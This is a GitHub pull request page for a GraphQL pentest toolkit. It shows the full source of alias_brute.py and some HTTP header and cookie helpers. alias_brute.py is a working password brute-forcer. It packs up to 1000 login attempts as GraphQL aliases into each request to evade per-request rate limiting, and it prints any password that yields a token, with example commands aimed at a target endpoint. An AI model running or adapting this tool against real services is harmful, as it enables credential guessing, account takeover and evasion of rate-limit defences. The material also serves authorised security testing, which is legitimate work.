Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
Show all changes
30 commits
Select commit Hold shift + click to select a range
cb0a3b0
Add files via upload
jonyluke Dec 14, 2025
d1a1c80
Add files via upload
jonyluke Dec 14, 2025
554b843
Add files via upload
jonyluke Dec 14, 2025
24565b3
Add README for GraphQL SQLi Detector
jonyluke Dec 14, 2025
638758e
Add files via upload
jonyluke Dec 14, 2025
59ac9bb
Clean up README by removing empty code block
jonyluke Dec 14, 2025
3a80d5c
Remove redundant note about query size management
jonyluke Dec 14, 2025
7746945
Clarify installation instructions in README
jonyluke Dec 14, 2025
6e46d2d
Update sqlmap command with level and risk options
jonyluke Dec 14, 2025
a22c96a
Modify sqlmap command for vulnerability testing
jonyluke Dec 14, 2025
7c13dc7
Update qGen.py
jonyluke Dec 16, 2025
ff1e557
Enhance GraphQL SQLi detector with schema extraction
jonyluke Dec 16, 2025
23e3037
Enhance SQLi detection logic and error handling
jonyluke Dec 16, 2025
0a663bb
Add SQL injection payload to detector
jonyluke Dec 16, 2025
a58b23a
Enhance README with detailed detector information
jonyluke Dec 16, 2025
e428ac3
Implement crawling feature in SQLi detector
jonyluke Dec 16, 2025
84383b8
Revise README.md for improved clarity and structure
jonyluke Dec 16, 2025
9a0ec73
Update sqli_detector.py
jonyluke Dec 16, 2025
04f441f
Revise README for clarity and detail enhancements
jonyluke Dec 16, 2025
a3334d7
Typo
jonyluke Dec 16, 2025
8aecf15
Refactor sqli_detector.py for clarity and structure
jonyluke Dec 16, 2025
d88955c
Remove compute_confidence function and related code
jonyluke Dec 17, 2025
06b6840
Update sqli_detector.py
jonyluke Dec 17, 2025
7b1998d
Refactor project structure and add alias_brute tool
Jun 8, 2026
54ba7d9
Simplify CLI flags and harden sqli detection
Jun 8, 2026
9d5f6d5
Update README to reflect simplified CLI flags
Jun 8, 2026
7648fc8
Add multi-strategy introspection bypass and error-based schema recons…
Jun 8, 2026
b385b49
Clean up dead code and unify strategy reporting
Jun 8, 2026
88a3c45
Update README: document introspection bypass chain and cleanup
Jun 8, 2026
aaff958
Refactor: centralise endpoint discovery in core, fix sqli severity/ev…
Jun 8, 2026
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
447 changes: 424 additions & 23 deletions README.md

Large diffs are not rendered by default.

Empty file added alias_brute/__init__.py
Empty file.
232 changes: 232 additions & 0 deletions alias_brute/alias_brute.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,232 @@
#!/usr/bin/env python3
"""
alias_brute.py — GraphQL alias-based brute-force for rate limit bypass.

GraphQL aliases let you run the same field multiple times with different arguments
in a single HTTP request:

mutation {
bruteforce0: login(input: {username: "carlos", password: "123456"}) { token }
bruteforce1: login(input: {username: "carlos", password: "password"}) { token }
...
}

A rate limiter that counts HTTP requests will see only one request, not hundreds.
Detection: the first alias whose success field is non-null is flagged as the hit.
"""

import json
import os
import sys
import argparse
from typing import List, Optional, Tuple

sys.path.insert(0, os.path.dirname(os.path.dirname(os.path.abspath(__file__))))

import requests

from core.http import build_headers
from core.output import GREEN, RED, YELLOW, CYAN, RESET


def build_alias_payload(field: str,
arg_user: str,
arg_pass: str,
username: str,
passwords: List[str],
success_fields: List[str],
operation: str = "mutation",
use_input_wrapper: bool = True) -> str:
"""Build a GraphQL document with one alias per password entry."""
selection = " ".join(success_fields) if success_fields else "__typename"
aliases = []
for i, pw in enumerate(passwords):
escaped_user = json.dumps(username)
escaped_pass = json.dumps(pw)
if use_input_wrapper:
args_str = f"input: {{{arg_user}: {escaped_user}, {arg_pass}: {escaped_pass}}}"
else:
args_str = f"{arg_user}: {escaped_user}, {arg_pass}: {escaped_pass}"
aliases.append(
f" bruteforce{i}: {field}({args_str}) {{ {selection} }}"
)
return f"{operation} {{\n" + "\n".join(aliases) + "\n}"


def send_batch(url: str, headers: dict, query: str, timeout: int = 30) -> Optional[requests.Response]:
try:
return requests.post(url, headers=headers, json={"query": query}, timeout=timeout)
except requests.exceptions.RequestException as e:
print(f"\n[!] Request error: {e}", file=sys.stderr)
return None


def find_success(response_data: dict,
batch_offset: int,
passwords: List[str],
success_field: str) -> Tuple[Optional[int], Optional[str], Optional[str]]:
"""Scan alias responses for a non-null success_field.

Returns (alias_index, password, value) or (None, None, None).
"""
if not isinstance(response_data, dict):
return None, None, None
data = response_data.get("data") or {}
if not isinstance(data, dict):
return None, None, None

for alias_key, alias_data in data.items():
if not alias_key.startswith("bruteforce"):
continue
try:
i = int(alias_key[len("bruteforce"):])
except ValueError:
continue
if not isinstance(alias_data, dict):
continue
value = alias_data.get(success_field)
if value is not None:
pw_index = batch_offset + i
if pw_index < len(passwords):
return i, passwords[pw_index], str(value)
return None, None, None


def main():
parser = argparse.ArgumentParser(
description="GraphQL alias brute-force — bypass rate limiting via alias batching",
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog=(
"Examples:\n"
" python3 alias_brute/alias_brute.py https://target.com/graphql \\\n"
" --field login --username carlos --wordlist passwords.txt\n\n"
" # Flat args (no 'input' wrapper):\n"
" python3 alias_brute/alias_brute.py https://target.com/graphql \\\n"
" --field login --username carlos --wordlist passwords.txt --no-input-wrapper\n"
),
)
parser.add_argument("endpoint", help="GraphQL endpoint URL")
parser.add_argument("--field", required=True,
help="Mutation/query field to target (e.g. login)")
parser.add_argument("--arg-user", default="username",
help="Username argument name (default: username)")
parser.add_argument("--arg-pass", default="password",
help="Password argument name (default: password)")
parser.add_argument("--username", required=True,
help="Username value for all attempts")
parser.add_argument("--wordlist", required=True,
help="Wordlist file — one password per line")
parser.add_argument("--success-field", default="token",
help="Field to check for non-null value to detect success (default: token)")
parser.add_argument("--operation", default="mutation",
choices=["mutation", "query"],
help="GraphQL operation type (default: mutation)")
parser.add_argument("--batch-size", type=int, default=100,
help="Aliases per HTTP request (default: 100)")
parser.add_argument("--no-input-wrapper", dest="input_wrapper",
action="store_false",
help="Use flat args instead of 'input: {...}' wrapper")
parser.set_defaults(input_wrapper=True)
parser.add_argument("-H", "--header", action="append", default=[],
metavar="Name: Value",
help="HTTP header (repeatable)")
parser.add_argument("--cookie", metavar="FILE", help="Cookie file (one line)")
parser.add_argument("--timeout", type=int, default=30,
help="Request timeout in seconds (default: 30)")
parser.add_argument("--verbose", action="store_true",
help="Print the generated payload before each batch")
args = parser.parse_args()

# --- Validate ---
if not 1 <= args.batch_size <= 1000:
print("[!] --batch-size must be between 1 and 1000.", file=sys.stderr)
sys.exit(1)

if not os.path.isfile(args.wordlist):
print(f"[!] Wordlist not found: {args.wordlist!r}", file=sys.stderr)
sys.exit(1)

if args.cookie and not os.path.isfile(args.cookie):
print(f"[!] Cookie file not found: {args.cookie!r}", file=sys.stderr)
sys.exit(1)

with open(args.wordlist, "r", encoding="utf-8", errors="replace") as f:
passwords = [line.rstrip("\n\r") for line in f if line.strip()]

if not passwords:
print("[!] Wordlist is empty.", file=sys.stderr)
sys.exit(1)

headers = build_headers(args.header, args.cookie)
success_fields = [args.success_field]

total = len(passwords)
batch_size = args.batch_size
num_batches = (total + batch_size - 1) // batch_size
wrapper_note = "input: {...}" if args.input_wrapper else "flat args"

print(f"[*] Target: {args.endpoint}")
print(f"[*] Operation: {args.operation} {{ {args.field}({wrapper_note}) }}")
print(f"[*] Username: {args.username}")
print(f"[*] Wordlist: {total} passwords")
print(f"[*] Batch size: {batch_size} aliases/request → {num_batches} request(s)")
print(f"[*] Success on: non-null '{args.success_field}'")
print()

for batch_num in range(num_batches):
offset = batch_num * batch_size
batch_passwords = passwords[offset:offset + batch_size]

query = build_alias_payload(
args.field, args.arg_user, args.arg_pass,
args.username, batch_passwords,
success_fields, args.operation, args.input_wrapper,
)

if args.verbose:
print(f"--- Payload (batch {batch_num + 1}/{num_batches}) ---")
print(query)
print("---")

print(
f"[*] Batch {batch_num + 1}/{num_batches} "
f"(#{offset + 1}–#{offset + len(batch_passwords)})...",
end="", flush=True,
)

resp = send_batch(args.endpoint, headers, query, timeout=args.timeout)
if resp is None:
print(f" {RED}FAILED{RESET}")
continue

print(f" HTTP {resp.status_code}", end="")

try:
data = resp.json()
except ValueError:
print(" (non-JSON response)")
continue

alias_idx, matched_pw, matched_val = find_success(
data, offset, passwords, args.success_field
)

if matched_pw is not None:
print()
print(f"\n{GREEN}[+] SUCCESS{RESET} — alias bruteforce{alias_idx}")
print(f" Password: {YELLOW}{matched_pw}{RESET}")
print(f" {args.success_field}: {matched_val}")
return

errors = (data.get("errors") or []) if isinstance(data, dict) else []
if errors and isinstance(errors[0], dict):
first_msg = errors[0].get("message", "")[:80]
print(f" — {first_msg}")
else:
print(" (no hit)")

print(f"\n{RED}[-] No valid credentials found across {total} attempt(s).{RESET}")


if __name__ == "__main__":
main()
Empty file added core/__init__.py
Empty file.
90 changes: 90 additions & 0 deletions core/http.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,90 @@
#!/usr/bin/env python3
"""Shared HTTP helpers: header parsing and cookie file loading."""

import json
import os
import re
import sys
from typing import Dict, List, Optional


def parse_header_args(headers_list: List[str]) -> Dict[str, str]:
"""Parse a list of 'Name: Value' strings (from argparse action=append) into a dict.

Last value wins on duplicates.
"""
hdrs: Dict[str, str] = {}
for h in headers_list or []:
if ":" not in h:
print(f"[!] Ignoring malformed header (expected 'Name: Value'): {h!r}",
file=sys.stderr)
continue
name, value = h.split(":", 1)
hdrs[name.strip()] = value.strip()
return hdrs


def parse_headers_input(h) -> Dict[str, str]:
"""Parse headers from several formats accepted by sqli_detector.

Handles:
- None / empty string → {}
- JSON object string → {"Authorization": "Bearer x", ...}
- JSON array of dicts → [{...}, ...]
- Semicolon/comma-separated 'Name: Value' pairs
"""
if not h:
return {}
if isinstance(h, list):
return parse_header_args(h)
if isinstance(h, str):
try:
parsed = json.loads(h)
if isinstance(parsed, dict):
return parsed
if isinstance(parsed, list):
result: Dict[str, str] = {}
for item in parsed:
if isinstance(item, dict):
result.update(item)
return result
except (ValueError, TypeError):
pass
result = {}
for part in re.split(r"[;,]", h):
part = part.strip()
if not part:
continue
if ":" in part:
k, v = part.split(":", 1)
result[k.strip()] = v.strip()
return result
return {}


def load_cookie_file(path: str) -> Optional[str]:
"""Read a one-line cookie file. Returns the cookie string or None."""
if not os.path.isfile(path):
print(f"[!] Cookie file not found: {path}", file=sys.stderr)
return None
with open(path, "r", encoding="utf-8") as f:
value = f.read().strip()
return value or None


def build_headers(headers_list: Optional[List[str]] = None,
cookie_file: Optional[str] = None) -> Dict[str, str]:
"""Build an HTTP headers dict.

Always includes Content-Type: application/json. Merges -H style args and
an optional cookie file. An explicit Cookie header via -H takes precedence
over the cookie file.
"""
hdrs: Dict[str, str] = {"Content-Type": "application/json"}
if headers_list:
hdrs.update(parse_header_args(headers_list))
if cookie_file and "Cookie" not in hdrs:
cookie = load_cookie_file(cookie_file)
if cookie:
hdrs["Cookie"] = cookie
return hdrs
Loading